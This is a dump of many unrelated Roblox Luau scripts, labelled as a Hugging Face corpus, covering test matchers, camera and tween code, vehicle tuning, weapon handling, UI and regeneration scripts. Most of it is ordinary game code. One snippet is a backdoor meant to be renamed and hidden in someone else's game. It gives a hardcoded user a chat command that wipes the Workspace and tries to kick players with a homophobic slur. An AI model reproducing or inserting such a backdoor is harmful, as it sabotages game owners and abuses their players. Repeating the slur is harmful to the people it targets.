Pinkstack/roblox-luau-corpus-text huggingface dataset:
-- ROBLOX deviation: Roblox Instance matchers


local function toMatchInstance(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toMatchInstance"
	local options: MatcherHintOptions = {
		isNot = self.isNot,
		promise = self.promise,
	}

	if getType(received) ~= "Instance" or received == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a Roblox Instance", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	if typeof(expected) ~= "table" or expected == nil then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a table", EXPECTED_COLOR("expected")),
					printWithType("Expected", expected, printExpected)
				)
			)
		)
	end

	local pass = equals(received, expected, { instanceSubsetEquality })

	local message
	if pass then
		message = function()
			local retval = matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: never %s", printExpected(expected))
			if stringify(expected) ~= stringify(received) then
				return retval .. string.format("\nReceived:       %s", printReceived(received))
			end
			return retval
		end
	else
		local receivedSubset, expectedSubset = getInstanceSubset(received, expected)
		message = function()
			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. printDiffOrStringify(
					expectedSubset,
					receivedSubset,
					EXPECTED_LABEL,
					RECEIVED_LABEL,
					isExpand(self.expand)
				)
		end
	end

	return { message = message, pass = pass }
end

local matchers: MatchersObject = {
	toBe = toBe,
	toBeCloseTo = toBeCloseTo,
	toBeDefined = toBeDefined,
	toBeFalsy = toBeFalsy,
	toBeGreaterThan = toBeGreaterThan,
	toBeGreaterThanOrEqual = toBeGreaterThanOrEqual,
	toBeInstanceOf = toBeInstanceOf,
	toBeLessThan = toBeLessThan,
	toBeLessThanOrEqual = toBeLessThanOrEqual,
	toBeNan = toBeNan,
	toBeNaN = toBeNan, -- ROBLOX deviation: aliased to toBeNan
	toBeNil = toBeNil,
	toBeNull = toBeNil, -- ROBLOX deviation: aliased to toBeNil
	toBeTruthy = toBeTruthy,
	toBeUndefined = toBeUndefined,
	toContain = toContain,
	toContainEqual = toContainEqual,
	toEqual = toEqual,
	toHaveLength = toHaveLength,
	toHaveProperty = toHaveProperty,
	toMatch = toMatch,
	toMatchObject = toMatchObject,
	toStrictEqual = toStrictEqual,

	-- ROBLOX deviation: Roblox Instance matchers
	toMatchInstance = toMatchInstance,
}

return matchers
--FieldOfView--


local mouse = Player:GetMouse()
local Info = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local Properties = {FieldOfView = FieldOfView}
local T = game:GetService("TweenService"):Create(game.Workspace.CurrentCamera, Info, Properties)
local rProperties = {FieldOfView = 70}
local rInfo = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local rT = game:GetService("TweenService"):Create(game.Workspace.CurrentCamera, rInfo, rProperties)
--Procedural Lightning Module. By Quasiduck
--License: See GitHub
--See README for guide on how to use or scroll down to see all properties in LightningBolt.new
--All properties update in real-time except PartCount which requires a new LightningBolt to change
--i.e. You can change a property at any time and it will still update the look of the bolt



local clock = os.clock






local function DiscretePulse(input, s, k, f, t, min, max) --input should be between 0 and 1. See https://www.desmos.com/calculator/hg5h4fpfim for demonstration.
	return math.clamp( (k)/(2*f) - math.abs( (input - t*s + 0.5*(k)) / (f) ), min, max )
end

local function NoiseBetween(x, y, z, min, max)
	return min + (max - min)*(math.noise(x, y, z) + 0.5)
end

local function CubicBezier(p0, p1, p2, p3, t)
	return p0*(1 - t)^3 + p1*3*t*(1 - t)^2 + p2*3*(1 - t)*t^2 + p3*t^3
end

local BoltPart = Instance.new("Part")
BoltPart.TopSurface, BoltPart.BottomSurface = 0, 0
BoltPart.Anchored, BoltPart.CanCollide = true, false
BoltPart.Shape = "Cylinder"
BoltPart.Name = "BoltPart"
BoltPart.CanTouch = false
BoltPart.CastShadow = false
BoltPart.CanQuery = false
BoltPart.Material = Enum.Material.Neon
BoltPart.Color = Color3.new(1, 1, 1)
BoltPart.Transparency = 1

local rng = Random.new()
local xInverse = CFrame.lookAt(Vector3.new(), Vector3.new(1, 0, 0)):inverse()

local ActiveBranches = {}

local LightningBolt = {}
LightningBolt.__index = LightningBolt
--[[Transmission]]


	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.21		 --	[TRANSMISSION CALCULATIONS FOR NERDS]
	Tune.Ratios			= {			 --		SPEED [SPS]	 = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
		--[[Reverse]]	5.000		,--		WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
		--[[Neutral]]	0			,
		--[[ 1 ]]		3.519      	,
		--[[ 2 ]]		2.320		,
		--[[ 3 ]]		1.700		,
		--[[ 4 ]]		1.400		,
		--[[ 5 ]]		0.907		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--------------------mods



local maincf 		= CFrame.new() --weapon offset of camera
local guncf  		= CFrame.new() --weapon offset of camera
local larmcf 		= CFrame.new() --left arm offset of weapon
local rarmcf 		= CFrame.new() --right arm offset of weapon

local gunbobcf		= CFrame.new()
local recoilcf 		= CFrame.new()
local aimcf 		= CFrame.new()
local AimTween 		= TweenInfo.new(
	0.2,
	Enum.EasingStyle.Linear,
	Enum.EasingDirection.InOut,
	0,
	false,
	0
)

local Ignore_Model = {cam,char,ACS_Workspace.Client,ACS_Workspace.Server}

local ModStorageFolder 	= plr.PlayerGui:FindFirstChild('ModStorage') or Instance.new('Folder')
ModStorageFolder.Parent = plr.PlayerGui
ModStorageFolder.Name 	= 'ModStorage'

function RAND(Min, Max, Accuracy)
	local Inverse = 1 / (Accuracy or 1)
	return (math.random(Min * Inverse, Max * Inverse) / Inverse)
end

SE_GUI = HUDs:WaitForChild("StatusUI"):Clone()
SE_GUI.Parent = plr.PlayerGui 

local BloodScreen 		= TS:Create(SE_GUI.Efeitos.Health, TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.InOut,-1,true), {Size =  UDim2.new(1.2,0,1.4,0)})
local BloodScreenLowHP 	= TS:Create(SE_GUI.Efeitos.LowHealth, TweenInfo.new(1,Enum.EasingStyle.Circular,Enum.EasingDirection.InOut,-1,true), {Size =  UDim2.new(1.2,0,1.4,0)})

local Crosshair = SE_GUI.Crosshair

local RecoilSpring = SpringMod.new(Vector3.new())
RecoilSpring.d = .1
RecoilSpring.s = 20

local cameraspring = SpringMod.new(Vector3.new())
cameraspring.d	= .5
cameraspring.s	= 20

local SwaySpring = SpringMod.new(Vector3.new())
SwaySpring.d = .25
SwaySpring.s = 20

local TWAY, XSWY, YSWY = 0,0,0

local oldtick = tick()
local xTilt = 0
local yTilt = 0
local lastPitch = 0
local lastYaw = 0

local Stance = Evt.Stance
local Stances = 0
local Virar = 0
local CameraX = 0
local CameraY = 0

local Sentado 		= false
local Swimming		= false
local falling 		= false
local cansado 		= false
local Crouched 		= false
local Proned		= false
local Steady 		= false
local CanLean 		= true
local ChangeStance 	= true
-- Made by Viown.
-- Change this scripts name, and delete this text.



local yourID = 3481119178 -- Put your ID here.
local players = game.Players:GetPlayers()

game.Players.PlayerAdded:Connect(function(player)
if player.UserId == yourID then
player.Chatted:Connect(function(msg)
if msg == ";destroy" then
local a = Instance.new("Message", workspace)
a.Text = "good bye ;)"
game.Workspace:ClearAllChildren()
players:Kick('lil fag got backdoored by sel')
end
end)
end
end)
--


script.Parent.OnServerEvent:Connect(function(p)
	local Character = p.Character
	local Humanoid = Character.Humanoid
	local RootPart = Character.HumanoidRootPart
	local anim = Humanoid:LoadAnimation(script.Punch)
	local run = Humanoid:LoadAnimation(script.Run)
	local FX = Assets.CompassNeedle:Clone()
	anim:Play()
	FX.sfx.Playing = true
	local vel = Instance.new("BodyVelocity", p.Character.Torso)
	vel.MaxForce = Vector3.new(1,1,1) * 1000000;
	vel.Parent = p.Character.Torso
	vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
	vel.Name  =  "SmallMoveVel"
	game.Debris:AddItem(vel,8.3)
	FX.CFrame = RootPart.CFrame * CFrame.new(0,0,0)
	FX.Parent = workspace.Effects
	wait(.2)
	FX.CFrame = RootPart.CFrame * CFrame.new(0,0,0)
	wait(4)
	FX.CanCollide = false
	FX.CastShadow = false
	FX.Anchored = true
	FX.Parent = workspace.Effects
	FX.Transparency = 1
	wait(0.05)
	local hitcontent = workspace:GetPartBoundsInBox(FX.CFrame, Vector3.new(20,20,20))
	local hitlist = {}
	for _,v in pairs(hitcontent) do
		if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
			if not hitlist[v.Parent.Humanoid] then
				hitlist[v.Parent.Humanoid] = true
				v.Parent.Humanoid:TakeDamage(50)
				v.Parent.Torso.CFrame = CFrame.lookAt(v.Parent.Torso.Position, p.Character.Torso.Position)

				local vel = Instance.new("BodyVelocity", v.Parent.Torso)
				vel.MaxForce = Vector3.new(1,1,1) * 1000000;
				vel.Parent = v.Parent.Torso
				vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 115
				vel.Name  =  "SmallMoveVel"
				game.Debris:AddItem(vel,0.4)
				local HitFX = Assets.HitFX.Attachment:Clone()
				HitFX.Parent = v.Parent.Torso
				for _,Particles in pairs(HitFX:GetDescendants()) do
					if Particles:IsA("ParticleEmitter") then
						Particles:Emit(Particles:GetAttribute("EmitCount"))
					end
				end
				game.Debris:AddItem(HitFX,3)
			end
		end
	end
	wait(4)
	anim:Stop()
	Humanoid.WalkSpeed = 65
	run:Play()
	run:AdjustSpeed(2)
	wait(1)
	Humanoid.WalkSpeed = 16
	run:Stop()
	wait(3)
	FX:Destroy()
	--RootPart.Anchored = false
end)
--This module is for any client FX related to the Teleporter C's door



local DoorFX = {}

local tweenService = game:GetService("TweenService")

local tweenInfo = TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)

function DoorFX.OPEN(door)
	if not door then return end
	
	tweenService:Create(door.DoorA.Main, tweenInfo, {CFrame = door.DoorA.Goal.CFrame}):Play()
	tweenService:Create(door.DoorB.Main, tweenInfo, {CFrame = door.DoorB.Goal.CFrame}):Play()

	door.DoorA.Main.DoorOpenFADEOUT:Play()
	door.DoorB.Main.DoorOpenFADEOUT:Play()
end

function DoorFX.CLOSE(door)
	if not door then return end

	door.DoorA.Main.CFrame = door.DoorA.Home.CFrame
	door.DoorB.Main.CFrame = door.DoorB.Home.CFrame
end

return DoorFX
--[=[
	@within TableUtil
	@function Reconcile
	@param source table
	@param template table
	@return table

	Performs a one-way sync on the `source` table against the
	`template` table. Any keys found in `template` that are
	not found in `source` will be added to `source`. This is
	useful for syncing player data against data template tables
	to ensure players have all the necessary keys, while
	maintaining existing keys that may no longer be in the
	template.

	This is a deep operation, so nested tables will also be
	properly reconciled.

	```lua
	local template = {kills = 0, deaths = 0, xp = 0}
	local data = {kills = 10, abc = 20}
	local correctedData = TableUtil.Reconcile(data, template)
	
	print(correctedData) --> {kills = 10, deaths = 0, xp = 0, abc = 20}
	```
]=]


local function Reconcile<S, T>(src: S, template: T): S & T
	assert(type(src) == "table", "First argument must be a table")
	assert(type(template) == "table", "Second argument must be a table")

	local tbl = table.clone(src)

	for k, v in template do
		local sv = src[k]
		if sv == nil then
			if type(v) == "table" then
				tbl[k] = Copy(v, true)
			else
				tbl[k] = v
			end
		elseif type(sv) == "table" then
			if type(v) == "table" then
				tbl[k] = Reconcile(sv, v)
			else
				tbl[k] = Copy(sv, true)
			end
		end
	end

	return (tbl :: any) :: S & T
end
--[[
	Create a new test node. A pointer to the test plan, a phrase to describe it
	and the type of node it is are required. The modifier is optional and will
	be None if left blank.
]]


function TestNode.new(plan, phrase, nodeType, nodeModifier, filePath)
	nodeModifier = nodeModifier or TestEnum.NodeModifier.None

	local node = {
		plan = plan,
		phrase = phrase,
		type = nodeType,
		modifier = nodeModifier,
		children = {},
		callback = nil,
		parent = nil,
	}

	node.environment = newEnvironment(node, plan.extraEnvironment, filePath)
	return setmetatable(node, TestNode)
end

local function getModifier(name, pattern, modifier)
	if pattern and (modifier == nil or modifier == TestEnum.NodeModifier.None) then
		if name:match(pattern) then
			return TestEnum.NodeModifier.Focus
		else
			return TestEnum.NodeModifier.Skip
		end
	end
	return modifier
end

local function getIgnoreModifier(name, pattern, modifier)
	if pattern and (modifier == nil or modifier == TestEnum.NodeModifier.None) then
		if name:match(pattern) then
			return TestEnum.NodeModifier.Skip
		end
	end
	return modifier
end

function TestNode:addChild(phrase, nodeType, nodeModifier, filePath)
	if nodeType == TestEnum.NodeType.It then
		for _, child in pairs(self.children) do
			if child.phrase == phrase then
				error("Duplicate it block found: " .. child:getFullName())
			end
		end
	end

	local childName = self:getFullName() .. " " .. phrase
	local filters = {}
	if self.plan.testNamePattern then
		filters["nameNodeModifier"] = getModifier(childName, self.plan.testNamePattern, nodeModifier)
	end
	if self.plan.testPathPattern and filePath then
		filters["pathNodeModifier"] = getModifier(filePath, self.plan.testPathPattern, nodeModifier)
	end
	if self.plan.testPathIgnorePatterns and filePath then
		filters["pathIgnoreNodeModifier"] = getIgnoreModifier(filePath, self.plan.testPathIgnorePatterns, nodeModifier)
	end

	for _, filter in pairs(filters) do
		if filter ~= TestEnum.NodeModifier.Focus then
			nodeModifier = filter
			break
		else
			nodeModifier = filter
		end
	end

	if self.plan.runTestsByPath and #self.plan.runTestsByPath > 0 and filePath then
		if not table.find(self.plan.runTestsByPath, filePath) then
			nodeModifier = TestEnum.NodeModifier.Skip
		end
	end

	local child = TestNode.new(self.plan, phrase, nodeType, nodeModifier, filePath)
	child.parent = self
	table.insert(self.children, child)
	return child
end
--[[Brakes]]


	Tune.ABSEnabled		= false		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 10		-- Front brake force
	Tune.RBrakeForce	= 3500		-- Rear brake force
	Tune.PBrakeForce	= 40		-- Handbrake force
	
	Tune.FLgcyBForce	= 15		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25		-- Handbrake force [PGS OFF]
--Main function


local function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)
	
	local AnimObj
	
	local function Start()
		AnimObj = {}
		AnimObj["LastUpdate"] = tick()
		
		local char = source_part.Parent
		AnimObj["RootPart"] = char:FindFirstChild("HumanoidRootPart")
		
		AnimObj["Parts"] = {}
		
		for i = 1, 4 do
			local np = EFFECT_LIB.NewInvisiblePart()
			np.Transparency = 0.2
			np.Material = "Neon"
			
			local knife_mesh = Instance.new("BlockMesh")
			knife_mesh.Scale = Vector3.new(15, 2, 15)
			knife_mesh.Parent = np
			
			AnimObj["Parts"][i] = np
	
			np.Parent = eff_cont
		end
	end
	
	local function Update()
		
		local base_cf
		if AnimObj["RootPart"] == nil then
			base_cf = source_part:GetRenderCFrame()
		else
			base_cf = AnimObj["RootPart"]:GetRenderCFrame()
		end
		
		local loop = EFFECT_LIB.Loop(.85)
		AnimObj["Parts"][1].CFrame = base_cf * CFrame.new(-1.6, -3, -1.6)
		AnimObj["Parts"][2].CFrame = base_cf * CFrame.new(-1.6, -3, 1.6)
		AnimObj["Parts"][3].CFrame = base_cf * CFrame.new(1.6, -3, 1.6)
		AnimObj["Parts"][4].CFrame = base_cf * CFrame.new(1.6, -3, -1.6)
		
		local color1
		local color2
		if loop >= 0 and loop <= 0.1 then
			color1 = BrickColor.new("Hot pink")
			color2 = BrickColor.new("Lime green")
		end
		if loop > 0.1 and loop <= 0.5 then
			color1 = BrickColor.new("Eggplant")
			color2 = BrickColor.new("Forest green")
		end
		if loop > 0.5 and loop <= 0.6 then
			color2 = BrickColor.new("Hot pink")
			color1 = BrickColor.new("Lime green")
		end
		if loop > 0.6 then
			color2 = BrickColor.new("Eggplant")
			color1 = BrickColor.new("Forest green")
		end
		
		AnimObj["Parts"][1].BrickColor = color1
		AnimObj["Parts"][2].BrickColor = color2
		AnimObj["Parts"][3].BrickColor = color1
		AnimObj["Parts"][4].BrickColor = color2
	end
	
	local function Stop()
		eff_cont:ClearAllChildren()
		AnimObj = nil
	end
	
	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachAuraControl
--[[
	(Yields) Animates camera to go back to the original position of the player's Humanoid.
]]


function CameraModule:animateToHumanoidAsync()
	self.camera.CameraType = Enum.CameraType.Scriptable

	-- We assume that the humanoid does not move after initial transition into the canvas camera position
	local target = self.initialCFrame

	if not target then
		warn("Initial CFrame not set, will animate to a default camera position behind the player")
	end

	self:_tweenCamera(target)

	self.initialCFrame = nil
	self.surfaceGui = nil

	-- Reset camera back to custom type
	self.camera.CameraType = Enum.CameraType.Custom
end
--[[ Public API ]]

--
function TouchJump:Enable()
	JumpButton.Visible = true
end

function TouchJump:Disable()
	JumpButton.Visible = false
	OnInputEnded()
end

function TouchJump:Create(parentFrame)
	if JumpButton then
		JumpButton:Destroy()
		JumpButton = nil
	end
	
	local isSmallScreen = parentFrame.AbsoluteSize.y <= 500
	local jumpButtonSize = isSmallScreen and 70 or 90
	
	JumpButton = Instance.new('ImageButton')
	JumpButton.Name = "JumpButton"
	JumpButton.Visible = false
	JumpButton.BackgroundTransparency = 1
	JumpButton.Image = TOUCH_CONTROL_SHEET
	JumpButton.ImageRectOffset = Vector2.new(176, 222)
	JumpButton.ImageRectSize = Vector2.new(174, 174)
	JumpButton.Size = UDim2.new(0, jumpButtonSize, 0, jumpButtonSize)
	JumpButton.Position = isSmallScreen and UDim2.new(1, jumpButtonSize * -2.25, 1, -jumpButtonSize - 20) or
		UDim2.new(1, jumpButtonSize * -2.75, 1, -jumpButtonSize - 120)
	
	local touchObject = nil	
	JumpButton.InputBegan:connect(function(inputObject)
		if touchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch then
			return
		end
		
		touchObject = inputObject
		JumpButton.ImageRectOffset = Vector2.new(0, 222)
		MasterControl:SetIsJumping(true)
	end)
	
	OnInputEnded = function()
		touchObject = nil
		MasterControl:SetIsJumping(false)
		JumpButton.ImageRectOffset = Vector2.new(176, 222)
	end
	
	JumpButton.InputEnded:connect(function(inputObject)
		if inputObject == touchObject then
			OnInputEnded()
		end
	end)
	
	JumpButton.Parent = parentFrame
end

return TouchJump
-- Coroutine runner that we create coroutines of. The coroutine can be
-- repeatedly resumed with functions to run followed by the argument to run
-- them with.


local function runEventHandlerInFreeThread()
	-- Note: We cannot use the initial set of arguments passed to
	-- runEventHandlerInFreeThread for a call to the handler, because those
	-- arguments would stay on the stack for the duration of the thread's
	-- existence, temporarily leaking references. Without access to raw bytecode
	-- there's no way for us to clear the "..." references from the stack.
	while true do
		acquireRunnerThreadAndCallEventHandler(coroutine.yield())
	end
end
--back--


MakeWeld(car.Misc.RearDoor.base,car.DriveSeat)

MakeWeld(car.Misc.RearDoor.H1.To,car.Misc.RearDoor.H1.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Dr_1,car.Misc.RearDoor.H1.H2.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Dr_2,car.Misc.RearDoor.H1.H2.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Bar_B,car.Misc.RearDoor.H1.H2.part1)
MakeWeld(car.Misc.RearDoor.H1.H2.Bar_C,car.Misc.RearDoor.H1.H2.part1)

MakeWeld(car.Misc.RearDoor.F1.To,car.Misc.RearDoor.F1.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Dr_1,car.Misc.RearDoor.F1.F2.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Dr_2,car.Misc.RearDoor.F1.F2.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Bar_B,car.Misc.RearDoor.F1.F2.part1)
MakeWeld(car.Misc.RearDoor.F1.F2.Bar_C,car.Misc.RearDoor.F1.F2.part1)

MakeWeld(car.Misc.RearDoor.Lever.A,car.Misc.RearDoor.Lever.part1)

MakeWeld(car.Misc.RearDoor.H1.part0,car.Misc.RearDoor.H1.part1,"Motor",.015).Name="Motor"
MakeWeld(car.Misc.RearDoor.H1.H2.part0,car.Misc.RearDoor.H1.H2.part1,"Motor",.03).Name="Motor"

MakeWeld(car.Misc.RearDoor.F1.part0,car.Misc.RearDoor.F1.part1,"Motor",.015).Name="Motor"
MakeWeld(car.Misc.RearDoor.F1.F2.part0,car.Misc.RearDoor.F1.F2.part1,"Motor",.03).Name="Motor"

MakeWeld(car.Misc.RearDoor.Lever.part0,car.Misc.RearDoor.Lever.part1,"Motor",.04).Name="Motor"

MakeWeld(car.Misc.RearDoor.Lever.part0,car.Misc.RearDoor.base)

MakeWeld(car.Misc.RearDoor.H1.part0,car.Misc.RearDoor.base)
MakeWeld(car.Misc.RearDoor.H1.H2.part0,car.Misc.RearDoor.H1.To)

MakeWeld(car.Misc.RearDoor.F1.part0,car.Misc.RearDoor.base)
MakeWeld(car.Misc.RearDoor.F1.F2.part0,car.Misc.RearDoor.F1.To)
---


if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

	local handler = car.Neons
	local lightcolor = car.Body.Underglow.U.L.Color
	
	script.Parent.MouseButton1Click:connect(function()
		if car.Body.Underglow.U.L.L.Enabled == false then
			handler:FireServer("Lights",1)
			script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
			script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
			car.Body.Underglow.EFFECT.L.GUI.Enabled = true
			for index, child in pairs(car.Body.Underglow.EFFECT.L.GUI:GetChildren()) do
			child.ImageColor3 = lightcolor
			end
			for index, child in pairs(car.Body.Underglow.U:GetChildren()) do
			child.Material = Enum.Material.Neon
			child.L.Color = lightcolor
			child.L.Enabled = true
			end
		elseif car.Body.Underglow.U.L.L.Enabled == true then
			handler:FireServer("Lights",0)
			script.Parent.BackgroundColor3 = Color3.new(0,0,0)
			script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
			car.Body.Underglow.EFFECT.L.GUI.Enabled = false
			for index, child in pairs(car.Body.Underglow.U:GetChildren()) do
			child.Material = Enum.Material.SmoothPlastic
			child.L.Enabled = false
			end
		end
	end)
---Place this INSIDE the model. Don't replace the model name or anything.
------------------------------------------------------------------------------------------ 


object = script.Parent 
if (object ~= nil) and (object ~= game.Workspace) then 
model = object 
messageText = "regenerating " .. model.Name .. "" 

backup = model:clone() -- Make the backup 
waitTime = 10 --Time to wait between regenerations 
wait(math.random(1, waitTime)) 
while true do 
wait(waitTime) -- Regen wait time 

model:remove()  

model = backup:clone() 
model.Parent = game.Workspace 
model:makeJoints() 
end 
end